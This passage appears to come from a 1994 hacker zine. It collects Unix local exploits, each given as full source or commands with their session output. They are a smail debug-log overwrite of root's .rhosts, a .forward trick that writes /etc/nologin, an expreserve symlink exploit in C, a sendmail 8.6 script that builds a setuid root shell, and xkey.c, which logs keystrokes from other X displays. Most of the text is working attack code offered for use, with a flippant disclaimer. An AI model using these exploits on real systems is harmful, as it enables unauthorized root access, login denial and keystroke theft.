% smail -bs -D ~root/.rhosts -v20
|
||
220 fuqdhost.lame.com Smail3.1.28.1 ready for fakemail on Mon, 5 Sep 94 12:23 EST
|
||
expn looser
|
||
250 looser
|
||
quit
|
||
221 fudqhost.lame.com closing connection
|
||
% rsh -l root localhost tcsh\ -i
|
||
Warning: no access to tty (Bad file number).
|
||
Thus no job control in this shell.
|
||
#
|
||
|
||
+++++
|
||
|
||
UNIX (smail) - .forward problem - Files specified in ~/.forward can be created
|
||
in any directory, regardless of it's permissions. (File is still owned by
|
||
mailbox owner, however.)
|
||
:
|
||
|
||
% echo "/etc/nologin" > ~/.forward
|
||
% mail -r root loser < /dev/null
|
||
% echo "Site shutdown due to smail lameness" >! /etc/nologin
|
||
% rlogin localhost
|
||
Site shutdown due to smail lameness
|
||
rlogin: connection closed.
|
||
|
||
+++++
|
||
|
||
UNIX (expreserve) - expreserve bug
|
||
:
|
||
<xp.c source follows>
|
||
|
||
----------------------------------CUT HERE-----------------------------------
|
||
/*
|
||
* Exploit a security hole in expreserve on sun4.1.3
|
||
* <program> filename
|
||
* overwrites filename as root with garbage, chown's to you
|
||
* (note, a 4.1.1 test overwrote with no chown
|
||
* the first 4 characters written are "+ +\n"
|
||
* which can be used to overwrite anyones .rhosts as root)
|
||
*/
|
||
|
||
#include <pwd.h>
|
||
#include <fcntl.h>
|
||
|
||
#define HBLKS 2
|
||
#define FNSIZE 128
|
||
#define BLKS 900
|
||
|
||
typedef struct {
|
||
time_t time;
|
||
int uid;
|
||
int flines;
|
||
char name[FNSIZE];
|
||
short Blocks[BLKS];
|
||
short encrypted;
|
||
} header;
|
||
|
||
|
||
main(argc,argv)
|
||
int argc;
|
||
char **argv;
|
||
{
|
||
int p,u;
|
||
header H;
|
||
struct passwd *pw;
|
||
char buf[100],*dest;
|
||
|
||
if(argc!=2) {
|
||
printf("usage: %s destination\n",argv[0]);
|
||
exit(1);
|
||
}
|
||
dest = argv[1];
|
||
p = getpid();
|
||
pw = getpwuid(getuid());
|
||
sprintf(buf,"/var/preserve/%s/Exaaa%.5d",pw->pw_name,p);
|
||
symlink(dest,buf);
|
||
close(0);
|
||
if(open("./Ex",O_RDWR|O_CREAT,0666)<0) {
|
||
printf("Cant open Ex (temp file)\n");
|
||
exit(2);
|
||
}
|
||
/* fill out header so that expre thinks its legit */
|
||
H.time = 12345; /* who cares */
|
||
strcpy(&H.time,"+ +\n"); /* its a long, we got some free bytes in there*/
|
||
strcpy(H.name,"NoName");
|
||
H.flines = 0;
|
||
H.uid = getuid();
|
||
H.Blocks[0] = HBLKS;
|
||
H.Blocks[1] = HBLKS+1;
|
||
write(0,&H,sizeof(H));
|
||
lseek(0,0,0);
|
||
printf("Made temp file 'Ex'. You can remove it when done.\n");
|
||
execl("/usr/lib/expreserve","expreserve",0);
|
||
printf("Couldnt exec!\n");
|
||
}
|
||
|
||
--------------------------------CUT HERE------------------------------------
|
||
|
||
% cc -o xp xp.c
|
||
% id
|
||
uid=666(looser) gid=50(luser) groups=50(luser)
|
||
% xp /home/doofus/.rhosts
|
||
% rlogin fuqdhost -l doofus
|
||
% id
|
||
uid=303(doofus) gid=50(luser) groups=50(luser)
|
||
%
|
||
|
||
+++++
|
||
|
||
SunOS 5.2 (sendmail 8.6.X) - sendmail bug - can get a root shell
|
||
:
|
||
<sm.sh script follows>
|
||
|
||
---------------------------------CUT HERE-----------------------------------
|
||
|
||
#!/bin/sh
|
||
# exploit new sendmail bug to give us a root shell
|
||
# 24 mar 94 jwa/scd @nau.edu
|
||
# "short version"
|
||
# tested on sunos 5.2/sendmail 8.6.4
|
||
|
||
# location of sendmail
|
||
SENDMAIL=/usr/lib/sendmail
|
||
|
||
# location of original sendmail.cf file
|
||
CONFIG=/nau/local/lib/mail/sendmail.cf
|
||
#CONFIG=`strings $SENDMAIL | grep sendmail.cf`
|
||
|
||
# program to execute as root
|
||
SHELL=/bin/csh
|
||
|
||
TEMPDIR=/tmp/sendbug-tmp.$$
|
||
mkdir $TEMPDIR
|
||
chmod 700 $TEMPDIR
|
||
cd $TEMPDIR
|
||
|
||
cp $SENDMAIL sm
|
||
chmod 700 sm
|
||
|
||
echo "Creating setid0 ..."
|
||
cat > setid.c << _EOF_
|
||
|
||
/* set uid to zero, thus escaping the annoying csh and solaris sh
|
||
* problem..
|
||
*
|
||
* if (getuid() != geteuid()) {
|
||
* printf("permission denied, you root-hacker you.\n");
|
||
* exit(1);
|
||
* }
|
||
*
|
||
* .. must be run euid 0, obviously. with no args it runs /bin/sh,
|
||
* otherwise it runs the 1st arg.
|
||
*/
|
||
|
||
#include <stdio.h>
|
||
|
||
main(argc, argv)
|
||
int argc;
|
||
char *argv[];
|
||
{
|
||
int uid;
|
||
|
||
setuid(0);
|
||
setgid(0);
|
||
seteuid(0); /* probabally redundant. */
|
||
setegid(0);
|
||
|
||
uid = getuid();
|
||
|
||
if (uid != 0) {
|
||
printf("setuid(0); failed! aborting..\n");
|
||
exit(1);
|
||
}
|
||
|
||
if (argc !=2) {
|
||
printf("executing /bin/sh...\n");
|
||
system("/bin/sh");
|
||
}
|
||
else
|
||
{
|
||
printf("executing %s...\n", argv[1]);
|
||
system(argv[1]);
|
||
}
|
||
}
|
||
_EOF_
|
||
|
||
cc -o setid0 setid.c
|
||
|
||
echo "Creating calc..."
|
||
|
||
cat > calc.c << _EOF_
|
||
/*
|
||
* Determines offset in sendmail of
|
||
* sendmail.cf file location.
|
||
* author: timothy newsham
|
||
*/
|
||
#include <fcntl.h>
|
||
|
||
gencore()
|
||
{
|
||
int pid;
|
||
int fd[2];
|
||
|
||
if(pipe(fd) < 0) {
|
||
perror("pipe");
|
||
exit(1);
|
||
return(0);
|
||
}
|
||
pid = fork();
|
||
if(!pid) {
|
||
int f = open("./out", O_RDWR|O_CREAT, 0666);
|
||
dup2(f, 1); dup2(fd[0], 0);
|
||
close(f); close(fd[1]); close(fd[0]);
|
||
execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
|
||
perror("exec");
|
||
exit(0);
|
||
} else {
|
||
sleep(2);
|
||
kill(pid, 11);
|
||
}
|
||
close(fd[0]);
|
||
close(fd[1]);
|
||
}
|
||
|
||
main(argc,argv)
|
||
char **argv;
|
||
int argc;
|
||
{
|
||
unsigned int ConfFile,tTdvect,off;
|
||
|
||
gencore();
|
||
sync(); /* grr. */
|
||
tTdvect = find("ZZZZZZZZ", "core");
|
||
ConfFile = find(argv[1], "core");
|
||
if(!tTdvect || !ConfFile) {
|
||
return(1);
|
||
}
|
||
off = ConfFile - tTdvect;
|
||
|
||
printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
|
||
off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
|
||
off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);
|
||
}
|
||
|
||
int find(pattern, file)
|
||
char *pattern,*file;
|
||
{
|
||
int fd;
|
||
int i, addr;
|
||
char c;
|
||
|
||
fd = open(file, 0);
|
||
|
||
i = 0;
|
||
addr = 0;
|
||
while(read(fd, &c, 1) == 1) {
|
||
if(pattern[i] == c)
|
||
i++;
|
||
else
|
||
i=0;
|
||
if(pattern[i] == '\0') {
|
||
addr -= strlen(pattern);
|
||
return(addr);
|
||
}
|
||
addr++;
|
||
}
|
||
return(0);
|
||
}
|
||
_EOF_
|
||
cc calc.c -o calc
|
||
|
||
echo "Scanning core image for $CONFIG..."
|
||
|
||
DEBUGFLAGS=`calc $CONFIG`
|
||
|
||
echo "Creating alias.sh ..."
|
||
echo "#!/bin/sh
|
||
# this program will be executed when mail is sent to the fake alias.
|
||
# since solaris sh and csh and tcsh refuse to run when euid != realuid,
|
||
# we instead run the program we compiled above.
|
||
|
||
/bin/chmod 6777 $TEMPDIR/setid0
|
||
/bin/chown root $TEMPDIR/setid0
|
||
/bin/sync
|
||
|
||
" > alias.sh
|
||
|
||
chmod 755 alias.sh
|
||
|
||
echo "Creating fake alias file..."
|
||
echo "yash: |$TEMPDIR/alias.sh" > aliases
|
||
|
||
echo "Faking alias pointer in new config file..."
|
||
egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
|
||
echo "
|
||
# hacks follow
|
||
|
||
OA/$TEMPDIR/aliases # our fake alias file
|
||
Ou0 # user ID to run as
|
||
Og0 # group ID to run as
|
||
DZWHOOP-v1.0" >> /tmp/sm.cf
|
||
|
||
echo "Creating the sendmail script..."
|
||
|
||
cat > sendmail.script << _EOF_
|
||
helo
|
||
mail from: <nobody>
|
||
rcpt to: <yash>
|
||
data
|
||
yet another sendmail hole? suid whoop?
|
||
\. # oops.. delete \ prior to execution
|
||
quit
|
||
_EOF_
|
||
|
||
echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."
|
||
|
||
$SENDMAIL $DEBUGFLAGS -bs < sendmail.script
|
||
|
||
# give it time to execute.
|
||
sleep 4
|
||
|
||
# cleanup in 5 seconds
|
||
(sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &
|
||
|
||
if [ -u setid0 ]
|
||
then
|
||
echo "setid0 is a suid shell. executing..."
|
||
cd /
|
||
$TEMPDIR/setid0 /bin/csh
|
||
echo "end of script."
|
||
exit 0
|
||
else
|
||
echo "setid0 is not suid; script failed."
|
||
echo "apparently, you don't have the bug. celebrate :-)"
|
||
exit 1
|
||
fi
|
||
|
||
---------------------------------CUT HERE-----------------------------------
|
||
|
||
% sm.sh
|
||
<bunch of echo's deleted for brevity>
|
||
setid0 is a suid shell. executing...
|
||
#
|
||
|
||
+++++
|
||
|
||
UNIX (X11) - Xserver hole - Get keypresses from other xterms
|
||
:
|
||
<xkey.c source follows>
|
||
|
||
---------------------------------CUT HERE------------------------------------
|
||
|
||
/* To compile, run it through your favorite ansi compiler something like
|
||
* this :
|
||
*
|
||
* gcc -o xkey xkey.c -lX11 -lm
|
||
*
|
||
* To run it, just use it like this : xkey displayname:0
|
||
* and watch as that display's keypresses show up in your shell window.
|
||
*
|
||
* Dominic Giampaolo (nick@cs.maxine.wpi.edu)
|
||
*/
|
||
#include <stdio.h>
|
||
#include <X11/X.h>
|
||
#include <X11/Xlib.h>
|
||
#include <X11/Intrinsic.h>
|
||
#include <X11/StringDefs.h>
|
||
#include <X11/Xutil.h>
|
||
#include <X11/Shell.h>
|
||
|
||
char *TranslateKeyCode(XEvent *ev);
|
||
|
||
|
||
Display *d;
|
||
|
||
void snoop_all_windows(Window root, unsigned long type)
|
||
{
|
||
static int level = 0;
|
||
Window parent, *children, *child2;
|
||
unsigned int nchildren;
|
||
int stat, i,j,k;
|
||
|
||
level++;
|
||
|
||
stat = XQueryTree(d, root, &root, &parent, &children, &nchildren);
|
||
if (stat == FALSE)
|
||
{
|
||
fprintf(stderr, "Can't query window tree...\n");
|
||
return;
|
||
}
|
||
|
||
if (nchildren == 0)
|
||
return;
|
||
|
||
/* For a more drastic inidication of the problem being exploited
|
||
* here, you can change these calls to XSelectInput() to something
|
||
* like XClearWindow(d, children[i]) or if you want to be real
|
||
* nasty, do XKillWindow(d, children[i]). Of course if you do that,
|
||
* then you'll want to remove the loop in main().
|
||
*
|
||
* The whole point of this exercise being that I shouldn't be
|
||
* allowed to manipulate resources which do not belong to me.
|
||
*/
|
||
XSelectInput(d, root, type);
|
||
|
||
for(i=0; i < nchildren; i++)
|
||
{
|
||
XSelectInput(d, children[i], type);
|
||
snoop_all_windows(children[i], type);
|
||
}
|
||
|
||
XFree((char *)children);
|
||
}
|
||
|
||
|
||
void main(int argc, char **argv)
|
||
{
|
||
char *hostname;
|
||
char *string;
|
||
XEvent xev;
|
||
int count = 0;
|
||
|
||
if (argv[1] == NULL)
|
||
hostname = ":0";
|
||
else
|
||
hostname = argv[1];
|
||
|
||
d = XOpenDisplay(hostname);
|
||
if (d == NULL)
|
||
{
|
||
fprintf(stderr, "Blah, can't open display: %s\n", hostname);
|
||
exit(10);
|
||
}
|
||
|
||
snoop_all_windows(DefaultRootWindow(d), KeyPressMask);
|
||
|
||
while(1)
|
||
{
|
||
XNextEvent(d, &xev);
|
||
|
||
string = TranslateKeyCode(&xev);
|
||
if (string == NULL)
|
||
continue;
|
||
|
||
if (*string == '\r')
|
||
printf("\n");
|
||
else if (strlen(string) == 1)
|
||
printf("%s", string);
|
||
else
|
||
printf("<<%s>>", string);
|
||
fflush(stdout);
|
||
}
|
||
}
|
||
|
||
|
||
#define KEY_BUFF_SIZE 256
|
||
static char key_buff[KEY_BUFF_SIZE];
|
||
|
||
char *TranslateKeyCode(XEvent *ev)
|
||
{
|
||
int count;
|
||
char *tmp;
|
||
KeySym ks;
|
||
|
||
if (ev)
|
||
{
|
||
count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL);
|
||
key_buff[count] = '\0';
|
||
|
||
if (count == 0)
|
||
{
|
||
tmp = XKeysymToString(ks);
|
||
if (tmp)
|
||
strcpy(key_buff, tmp);
|
||
else
|
||
strcpy(key_buff, "");
|
||
}
|
||
|
||
return key_buff;
|
||
}
|
||
else
|
||
return NULL;
|
||
}
|
||
|
||
--------------------------------CUT HERE------------------------------------
|
||
|
||
<instructions included in the first lines of the source>
|
||
|
||
|
||
+++++
|
||
|
||
|
||
|
||
NOTE: all Standard Disclaimers (tm) apply. Also, if you DO use the things
|
||
found in this file for malicious purposes, please let me know. I'll kick
|
||
your ass before they lock you up.
|
||
|
||
|
||
Well, This should be enough to keep you all busy for a few weeks until the
|
||
next release. Good luck, and happy hacking.
|
||
|
||
|
||
|
||
Ghost in the Machine
|
||
|
||
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
||
|
||
CLOSING -
|
||
|
||
Well That concludes Issue 1. It's a bit smaller than I had hoped, But
|
||
I'm already working on articles for the next issue, so it will hopefully
|
||
be a bit larger and hopefully even better.
|
||
|
||
Hope you found these files useful, interesting, or at least worth the
|
||
time it took to read them.
|
||
|
||
gitm
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|